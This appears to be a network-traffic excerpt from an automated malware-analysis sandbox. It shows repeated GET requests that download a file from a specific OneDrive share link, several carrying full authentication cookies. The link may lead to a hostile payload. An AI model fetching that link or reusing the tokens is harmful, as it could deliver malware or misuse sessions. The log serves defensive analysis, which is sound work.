Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTM0LCJuYmYiOjE3MjAxMTcxMzQsImdpdmVuX25hbWUiOiI2MSIsImZhbWlseV9uYW1lIjoiQWxsaWdhdG9yIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMGU5M2E2MjQ3MTBjYWI2ODc0NmEwOGQ5OTkwNTU2ZmQiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzEzNH0.LpUIBLBOxUApsU8Qcqfm9cYrj2eDbaU909co-rMu6BEifz707QvA9FCIqKRqeeg1bBUehRQHh-V9rmKjoFHgXRLCfCI7VG0dMVRy56VW9gDf83PZoqVQuFU-6af1KxkbZg_J_mT9qh8vO0GG5SViihSG1PIp8B171-ulXmtP-4i5S-Zuiv0ouOTune53dHmsJZN4kGQlrVBISELOjeRfxuN5n3t5CkDcHJdSdVm5u-sO0pgpwcsyvF4AniXyouXr_CGpcUZNjew82chgx-Nz-vZcW9XBe1Ei6BfZCFEw3UqLo7FLyfDfuZS-TihU_O3tGN6-riwGWM-KNBpELF3uog; E=P:UJdWw1Wc3Ig=:XkXTLw+0lxNnCsqxXQMYEeaU6ebFXvgyTa+WNXAd1Qo=:F; xid=09d1d6cd-9403-4215-9e16-80fcbbd1b1a6&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTM3LCJuYmYiOjE3MjAxMTcxMzcsImdpdmVuX25hbWUiOiI3MiIsImZhbWlseV9uYW1lIjoiSHVtbWluZ2JpcmQiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJmYWQyMTMyNzE1YTBkMTMzMjgxNjEzYjlkNTYzMTM0ZCIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MTM3fQ.JsI4_ZlOYb5i5OYgRHMQ4rDMTA6I-hYAEFBt002eNqSUfdP-5_5hyJoFo67L6W1xLugPJqwH49_vrx9gDxciR6AquC7zn8-Bd6vYMfT20cVdW_IPfZRkF69_lWGS6r6WTSmIzgbejrMTiaLxs3fCbSVhEVeIIODrZ1iR0V9k9qoKcm9zqORtdPrYKt66EpF87_jjh0vebZKJJpuHVgkW3UBSnz4JNNhwXN_qjbKcu8fabN_oSlILpnxzaK8PvjUsZYt83szEoHRii5QbiooyScQ4wsnFALvGJ9hqVkypJZZrglUS03l3UC2LUazi_J5drsWZ27FdSNLS-R0SlN3bkA; E=P:d11ZxVWc3Ig=:+iB5gU+U7lqn5UnP/01sBui2eDnCoMbCCA96VUIKLdc=:F; xid=83985dbd-2dea-461b-ae49-5a1016d72862&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTQxLCJuYmYiOjE3MjAxMTcxNDEsImdpdmVuX25hbWUiOiI5OCIsImZhbWlseV9uYW1lIjoiRHVjayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6Ijk4ZWM0NTBjY2ExZjdlNjc5MWIzODc0YzYyMWVhNWJhIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNDF9.Uoq2qfUe77XwkeSflU7OAmzOtgmcfO_LV3v4_WURAD3wn7JzQ8fbvxeurC7Ikf8X8ce1kX0riSznfwJS1Yz7vZIkkS9C50peW5ASyKGhvIFMm0LjRfqDq1iQktF4abwcTovCO0ZkaO0BuEXofqIE9b12whN4gfHEEWFD3BelzTGOyTClMQZIT4q9AEh0nlByUvUCDKK3YI5Hat5Bb2s-cDfxbwstgCHzht3dwx6qL-DCXkBd9BiWGiSsRV1pfposM2kDg22FGg-7gaookDu7eIIMeCgoqaV-lIv9BeAQHeDMVkauz8BozITxyHKAjHF-1QHiuPyt_zHk2kg0sQAKUw; E=P:k+LIx1Wc3Ig=:MSojVXZIFgWlcT/k4TzMDs/xXeOOu5of6fVyFgBm7rg=:F; xid=948252cc-c3c5-414a-b179-10fe7892825b&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTQ2LCJuYmYiOjE3MjAxMTcxNDYsImdpdmVuX25hbWUiOiI1MyIsImZhbWlseV9uYW1lIjoiUmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZjkxOGM4YmNiODUzODFmMTU4YmVkNjRjNWE4YzE4YzUiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzE0Nn0.FrMtxzxK4-xYrS9qoakXEOQ0lfm2WSCp3fqjOuOMicBr0PCEh4YeuHxFkKsf-r-ZEn_gRCqTPYQhyNomlmCK4TONeYok085BvM_FhPkxTwNlvKbHmzSIuKaNdDZk4Ku-X7SxWsv94H1MwlcoOiqdk6mYMbe7zu9wx7lfrWn0wihXo9_ofH85vw-WAbWGjv942rviVVJvGHSj7zbQcGhTGg9hxEr8634c23vBQzg3qPj_2SqiQKvzZYqA-Vl8SJD5jE7utL37B4g3rlLgEb1vSluOdQ9ZB2nQZWoFLkw0xHi0WlnwLG7iLESAEoLccb5qYPbNHepNDUS9dUUenHgi_A; E=P:ObOwylWc3Ig=:BtmZKUqJMv0p06vovOGQLOW1o/QH3DcnNVW+hbiHl+c=:F; xid=8fb70353-fe7e-4175-89bd-9054dfd17285&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTQ5LCJuYmYiOjE3MjAxMTcxNDksImdpdmVuX25hbWUiOiIzNCIsImZhbWlseV9uYW1lIjoiTGFwd2luZyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjE4Y2QyOTIxNTdjMGU2MDI4ZmE3YzAzMmM2NmI4YmQ2IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNDl9.cN2R0E5xEMFdkQvzoc1TbWVNp-RbfNVD3AOEin767XVNcjyuVHMN4VYAUH9xWim_k3SCH_7g-65MX6tin3goUwSdM9E7t8AhmUDkDhA42tDAFTgF_V5KYln0ombETZsfhVngPX2KqDU1kN01Tr3fEiUvCW1kNJSYZ6GTOrpX1-fQy5Jvxdcmj10fna-7u4gC8TajKk1e4onrUJBdLptzbgFTnrO7zlH-43Wyv9RHkxHIx1uZ8Zr4-9QDYF-oXqtxfvI2cObfEk5rMWzvaU02dow_5uo7V4pXMs3iZjIIr_6FUG4C9VG93mrIhmN5Qg9LgMEkMkdoL2j925i-Yy8XrQ; E=P:L3NTzFWc3Ig=:1+KmPO39dZbl6Wih+YjrtwYRLIUbwNZU7nkPBkyFZEc=:F; xid=3b700123-12ff-46d3-9edc-8c3fa0c43260&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTU1LCJuYmYiOjE3MjAxMTcxNTUsImdpdmVuX25hbWUiOiIxMSIsImZhbWlseV9uYW1lIjoiQ2hpY2tlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjRlNThmMTg2ZWNkMWYxNTdjNzU1NzIwMDExMWQ0NzVlIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNTV9.lK8rvXXiilyThAcBJarnP31O_yQBefAg4e2NNWfs91pcE1z2bRcLp4eGMU0j7_ASFXPkMKzyn2GL5FdnVeYoz9Qo2vOKN4dikOK0aEGAprBXVhvlKymhfONb__-k_zqpmkANAHH4KtqJp55jOe4cBq1VcABUAdBR72HuJCiD__gm5aFrm305i226tk0Hr6bnB86qIVzsjCIjFGQCJbckmPOCesEksNLaXiIgTNLI7iOZr6trr182ZV_iB2YQMdhBJVr5MTw7IFJDVU0lJhm8sjhNLrB090bx4tyscYpZWHO9eFvKuyAd_ChJ1H_uQY8jfTgkI-l3xHv7uMJ-IwLOfQ; E=P:orH/z1Wc3Ig=:rccDb01RL0hdlJdg5QZHqA54dc4qjOTPQ+NAZhmIznc=:F; xid=ee90522b-e9a2-4266-b95b-0d56c5b4fee7&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTU5LCJuYmYiOjE3MjAxMTcxNTksImdpdmVuX25hbWUiOiI0NSIsImZhbWlseV9uYW1lIjoiU2FyZGluZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImQzNDFjMDI2NDEwOGI2YTQ5N2UzZmE3OTVhYzA1NThmIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNTl9.jj-8nBBd8cVLXOSssT1AN14YANHyYYZQKfd3eDRnMzqF0aV8oKgnJSp-avYHBGswK6DK4KTRxv8Hk7UFoJKAeo57qDEHHivu4AoRPvLNJrIXP5F6LtO9ve4cWPEsvo252AzNP_VgJrxfYJLzwm29yx4iIGit5NsrhGlhGPgDa5XE8iby4VpBnTHQIAk34s_zvo2Zz-9iMXT8BDJ6XLhzuxSyvXI-q5WfdJZogbh6C5eJbQUS0PtWCsum9FDc0rZ7c94ZBRPRlgt3-0A1IeD27QMLx30GSAv86rulfLX-94a_ZiDW3ME7kl2TpwX_-El6tPsAQiup-zdd6UmvYKQD-g; E=P:gKhZ0lWc3Ig=:tuLFzdpsOgsvziZ/yWDs/LAXvoXeG8TA/WxgnmK53uM=:F; xid=fd738acf-55ef-46f3-a62d-c8fd8aeb1007&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTYzLCJuYmYiOjE3MjAxMTcxNjMsImdpdmVuX25hbWUiOiI2NCIsImZhbWlseV9uYW1lIjoiSGF3ayIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImEwYzlmZTcyOWQ5MTgwZjk3ODk2ZjgyNzQ5MmYzYmY1IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNjN9.XE3-pGWc0vca7J0om1tFiXs_ufRt2isVX9zLdj1ltDys0uTnBuxq7Y0oybWuclKOa9gGYiEo_v2GLdb_nvhJ7V2DmNQQXPwAa01AYlaPTJ-LQtHZaO6UFeW_8RmOvscrHr55SMgQesdDMmtAlqjej9jngf_R3jguU292niME6uwGEz07_C1OXNX9h_jgWReqyPUczz81ZhxYUNFCgHPoMKm3VT4An0otXD2KFrEFLWpAURh1MqGES0Q_byl2ESkF-wBrigyXpVWWmFlp3R4IWcej3CRipqRQiG8c_GE0mZjM5J6ntGuqUdo-CKZLUYOcnBKz4CuBycTnzeW0lwdE_Q; E=P:fReU1FWc3Ig=:LI5sE1tRE7bA+hUDSnySiNx1GWYhCAmM84+FfidVcKA=:F; xid=d85badb0-7447-4ad1-89d7-42e1049d624b&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTY5LCJuYmYiOjE3MjAxMTcxNjksImdpdmVuX25hbWUiOiI2NyIsImZhbWlseV9uYW1lIjoiTG9ic3RlciIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImI5ZTYyZGI2MGU3YjY0ODZlNWRiNjAwY2FlMjlhMmIwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNjl9.STevwxDA4qcbpGqRXTPrwecH3jnhpZRsZR6nV7BhRjI-HL14vCav7M_-9P1GQbm-_mW0GEJYOvyyDRKqxVZeLFL3JsSd2udyCZXKPCihjwnbIf9iDTyM7DkzTWVVDBkzOyoN-omFuWhVOM58RZSzKzWL9iDaCSX3kVpF2Fwl_7-Oaz5h2FtyS9UFpD5N5Vc8iNnBx4L8PxbcbgmD91BonFW1vsCDpXpkhI-fBumd2DMx4KvXIzQbMG58bNJX6ahld-0Z9Sj8yzdnqhrpztpknblBK-epoTIJkzMGIYACTdorr0H9isxSPCGiuaexnv6YIh0onDkL6lWh4Z4SL2WRGg; E=P:TIxT2FWc3Ig=:cZjhKcuo3jxfI9PE0RQDSe1uKnqgocxwIyQwIafkoyE=:F; xid=2d558fef-2c0d-4a1f-b8b3-c57a01ff8de6&&ODSP-ODWEB-ODCF&228; xidseq=1
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxOTc2LCJuYmYiOjE3MjAxMTcxNzYsImdpdmVuX25hbWUiOiI3MyIsImZhbWlseV9uYW1lIjoiVG9hZCIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjM5ODdlOTQ2MzVlNDY5Nzg2Mzk1NjVkMzYxZTM0MzU5IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcxNzZ9.d3XRbIR_l4LaRAg236hTm-QuY1VYCqYN6bzqUeEFmtxqre0Zb9mzRFcznQ8GpZw-XovVc1aXwo9JhbPXPM1wImXEJc2RugKHHSM6PwaJ2NQ-JFFK_plJqbUE9-9AVRaAw-1-4uthNT8IV2a5rQf1yJKzW0VRc_X3jnRRWxY-NDYJFI5Sfa4E7XX9hHOfvejmU3bncTki_MQBmkGG_4d3oDWll_Qu6dvu21m6b0lWQJJ7LX-3f74MDeZNPSXkNTYRX60GPygCYz8KLdb_y8JGEevvn5C1-2O7JUpN0YKaN7JJR3W_AspZWXNtc6bQvHzQZ7KXW-Hie1eRUJoeNAHFqA; E=P:oP9H3FWc3Ig=:xKeQDCBJLqYIvIW5MZEPdBTZaHCNa0FVCUX9p0Ha86A=:F; xid=a452af85-5e6a-47f4-998a-3f7c2782a1e3&&ODSP-ODWEB-ODCF&228; xidseq=1
